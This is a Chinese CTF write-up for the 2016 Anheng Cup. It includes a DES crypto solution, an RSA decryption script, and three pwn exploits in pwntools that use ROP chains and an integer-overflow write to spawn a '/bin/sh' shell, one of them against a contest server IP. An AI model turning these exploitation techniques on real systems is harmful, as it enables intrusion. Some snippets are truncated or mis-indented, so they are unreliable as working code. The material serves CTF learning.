【4.29安恒杯】writeup

原创

Angel枫丨灬红叶 于 2016-04-19 15:01:41 发布 9703 收藏
分类专栏： CTF 文章标签： ctf

- #### 安恒杯_writeup

以下为比赛中做出的题目

MISC: SHOW ME THE FLAG-by-cyyzore

CRYPTO: LAZYATTACK-by-GoldsNow

这一题很巧，全部的队伍里面只有我们一个队伍将其做出来。
这一题做出来完完全全是靠运气，在当我做出这一题的时候感觉是懵逼的，完全不知道是怎么回事，flag一下子就出来了而且对了，很兴奋。队友都相互说用了和出题人同一个软件，才得到的答案。结果确实是和出题人用了同一个软件。

首先，因为巧合，师兄说了C语言跑的会比python快，然后去网上找C语言的DES解密代码。于是乎在网上找了两个版本的DES解密，一种只能解决8位

明文与8位密钥的算法，然后果断扔掉。
还有一个版本就是和出题人一样的。估计出题人也是网上拉的代码。看都不看的，加密解密验证一下就出题目了。

由于懒得修改程序，就新建了key.txt （这个也奠定了能够得到flag的基础。） 事实上密钥 就是key.txt。不过一定要用C语言来解密，其他的语言解密无效。

DES解密程序的主函数如下

```
int main()
{
    DES_Encrypt("1.txt","key.txt","2.txt");
    system("pause");
    DES_Decrypt("2.txt","key.txt","3.txt");
    getchar();
    return 0;
}
```

注：这个是刚刚下载下来的时候的代码。1.txt 是需要加密的文字，key.txt就是密钥！密钥。。2.txt 是加密后的文字，3.txt是解密后的文字。

题目错误分析过程：

一、 解密程序；
①当key.txt里面什么都不写的时候。

②当key.txt里面随便乱填的时候。

③当key.txt名称换成key1.txt且里面什么都不填的时候

**这个时候就没有flag了！
④当key1.txt乱填的时候:**

和③产生的结果是一样的。

二、同理生成代码的程序

同样的效果，不重复描述了。

三、代码分析

出题人使用的DES源码：DOWNLOAD IT!

CRYPTO:RSAROLL-by-wintersun

题目提示说不要用微软的notepad，机智的我，果断没用。。

1. 使用notapad++打开文件。如下

1. 使用RSATOOLS爆破密钥（软件放群里了）

1. 解密代码如下

```
import binascii

# n = 0x367198D6B5614E95813ADD8F22A4717BC72BE1EABD933D1B86944FDB75B8ED230BE62D7D1B69D222095C128C86F8201
# d = 42219090165090781292018012368794467606978852209285066961506469382374409927466834098811414518319 39
# c = 0x1e04304936215de8e21965cfca9c245b1a8f38339875d36779c0f123c475bc24d5eef50e7d9ff5830e80c62e8083ec5
n  = 0x36D837C1
c  = '704796792,752211152,274704164,18414022,368270835,483295235,263072905,459788476,483295235,45978847
d  = 0x5C5CED3
c = c.split(',')
flag=''
for x in c:
    m = hex(pow(int(x),d,n)).rstrip("L")
    flag+=chr(int(m[2:],16))
print flag
#print binascii.unhexlify('0'+m[2:])
raw_input()
```

PWN:PWN1-by-wintersun

链接，蒸米的文章

http://drops.wooyun.org/tips/6597

exp第一个改改就能用= =。。

这边题目没有提供libc给我们，但是system函数plt中有了，我们可以直接获取到system函数的地址，现在就还差一个”/bin/sh\0”。

我们可以利用rop，第一发先把”/bin/sh\0”写入到.bbs段，然后再来一发rop，调用system，触发”/bin/sh\0”，需要注意的是，要保持堆栈平衡。

exp如下：

```
#!/usr/bin/env python
from pwn import *

elf = ELF('./pwn1')
plt_system = elf.symbols['system']
plt_scanf = elf.symbols['__isoc99_scanf']
vulfun_addr = 0x080485FD
p  = remote('114.55.7.125',8000)
#p = process('./pwn1')
#p = remote('127.0.0.1', 10003)

print "system_addr=" + hex(plt_system)
bss_addr = 0x0804a040
ppr = 0x80487ad
_256s = 0x0804888F
print repr(p.recvuntil(':'))
payload = 'a'*140  + p32(plt_scanf) + p32(ppr) + p32(_256s)+ p32(bss_addr)
payload += p32(plt_system) + p32(vulfun_addr) + p32(bss_addr)
print "\n###sending payload ...###"
p.sendline(payload)
print repr(p.recvuntil(':'))
raw_input()
p.sendline('1')
print repr(p.recvuntil('\n'))
p.sendline("/bin/sh\0")

p.interactive()
```

我是分割线

我是分割线

以下是赛后解出的题目（各种参考资料。。）

PWN:PWN2

使用 `file pwn2` 查看elf文件信息。

```
pwn2: ELF 32-bit LSB executable, Intel 80386, version 1
(GNU/Linux), statically linked, for GNU/Linux 2.6.24,
BuildID[sha1]=0xf6065416aedf59fe9b12d75558caf75e535311bf,
not stripped
```

这是一个静态编译的文件，没有libc，使用IDA反编译发现，连个system都木有。。

程序的简单流程：
首先申请一个内存空间，内存空间的单位为4个字节的int型,这个内存空间的长度由用户决定，这是第一个缺陷。程序提供四种运算，和最后一种保存功能。用户可以通过选择一种运算模式，然后输入x（整型）、y（整型）来进行运算，运算结果会逐个保存至一开始分配的内存空间上。

溢出点在`memcpy(&v3, v5, 4 * v4);`最后保存结果的时候把用户开辟的超长内存空间段拷贝到了栈上。。溢出。。

将超长内存空间拷贝到了栈上，导致栈溢出

法一：通过rop关闭DEP，然后跳转到栈上的shell。执行shell
法二：通过ROPgadget构造出一条可以获得shell的rop。

我们先采用法二。。这比较简单，容易实现。
命令`ROPgadget --binary pwn2 --ropchain`

嗯。。生成的ropchain是酱紫的。

```
#!/usr/bin/env python2
# execve generated by ROPgadget

from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bb406) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x080a1dad) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806ed31) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806ed0a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054730) # xor eax, eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x0807b75f) # inc eax ; ret
p += pack('<I', 0x08049781) # int 0x80
```

这里说一下，由于以往碰到的pwn题目输入都是为字符串，但是这题不一样，输入为整型，有个大小端的问题。

附：

```
pwn之%s与%d的问题研究。

大小端问题在字符串和整型存储时存在差异

字符串存储时没有大小端的问题，可以看作大端模式。
比如说0x0806ed0a,字符串存储的时候是从低往高的。
1  2  3  4
08 06 6e d0

！！！！然而，ret返回地址是由高向低，小端存储。

所以设置返回地址的时候，必须倒着来 \x0a\xed\x06\x08 这样子输入进去。这样ret才会读成0x0806ed0a,PC跳转到0x0806ed0a

整型存储时，使用的是小端模式，数据是从高往低放的。输入0x0806ed0a时。

1  2  3  4
d0 6e d0 08
<切合ret阅读模式>

这个时候ret会直接返回0x0806ed0a
```

所以我们在放置payload的时候，要注意大小端的问题。

额外情况：

```
栈空间的计算，main函数默认会多出8个字节的栈空间。
```

exp如下

```python
from pwn import *
context(arch='i386', os='linux', log_level='debug')

p = process('./pwn2')

###set memery length
p.recvuntil(':')
p.sendline('255')#the biggest!

### calc reply
def calc(num):
    p.recvuntil('result')
    p.sendline('1')
    p.recvuntil('x:')
    p.sendline(str(num))
    p.recvuntil('y:')
    p.sendline('0')
    p.recvuntil('\n')
###pading 16*4 byte
for x in range(11):calc(0x41414141)#44 byte
calc(0)#free v4
for x in range(4):calc(0x41414141)

### ropchain
ropchain = [0x0806ed0a,
0x080ea060,
0x080bb406,
0x6e69622f,
```

```
    0x080a1dad,
    0x0806ed0a,
    0x080ea064,
    0x080bb406,
    0x68732f2f,
    0x080a1dad,
    0x0806ed0a,
    0x080ea068,
    0x08054730,
    0x080a1dad,
    0x080481c9,
    0x080ea060,
    0x0806ed31,
    0x080ea068,
    0x080ea060,
    0x0806ed0a,
    0x080ea068,
    0x08054730,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x0807b75f,
    0x08049781]

    ### send ropchain
    for i in ropchain:
        calc(i)
    ### sava and overflow
    p.recvuntil('result')
    p.sendline('5')
    p.interactive()
```

PWN:PWN3

file查看下，动态编译的文件。
用IDA查看下溢出点在哪。
发现存在整数溢出:数组的索引，用户可控，该索引为有符号整型，存在溢出，在任意位置可写。
可写入最大字节数为 10*4 byte
要用这40 byte 来获得shell
先 scanf 把 “/bin/sh\0”写入至.bbs（8个字节刚刚好——要是不够怎么办？）,然后再调用system函数，要注意保持堆栈平衡。

exp如下，感觉比pwn2简单。。没有用到libc.so

```python
#!/usr/bin/env python
from pwn import *

context(arch='i386', os='linux', log_level='debug')
libc = ELF('libc.so')
pwn3 = ELF('pwn3')

plt_system = pwn3.symbols['system']
plt_scanf = pwn3.symbols['__isoc99_scanf']
print "system_addr=" + hex(plt_system)
print "scanf_addr=" + hex(plt_scanf)
bss_addr = 0x0804a060
ppr = 0x080487de
vulfun_addr = 0x080485E7
_9s = 0x804884b
overflowint = -0x80000000

p = process('./pwn3')
### input name
p.recvuntil('name ')
p.sendline('ws')
### send payload 10 times
def setvalue(index,payload):
    p.recvuntil('index')
    p.sendline(str(index))
    p.recvuntil('value')
    p.sendline(str(payload))

### scanf p %s .bss sys v .bss x x x
ropchain = [
plt_scanf,
ppr,
_9s,
bss_addr,
plt_system,
vulfun_addr,
bss_addr,
0x41414141,
0x41414141
]
i = 14 ### 数组索引是从0开始的.
for x in ropchain:
    print overflowint+i
    setvalue(overflowint+i,x)
    i=i+1
raw_input()
setvalue(overflowint+27,0x41414141)
p.recvuntil('your input\n')
p.sendline("/bin/sh\0")
p.interactive()
```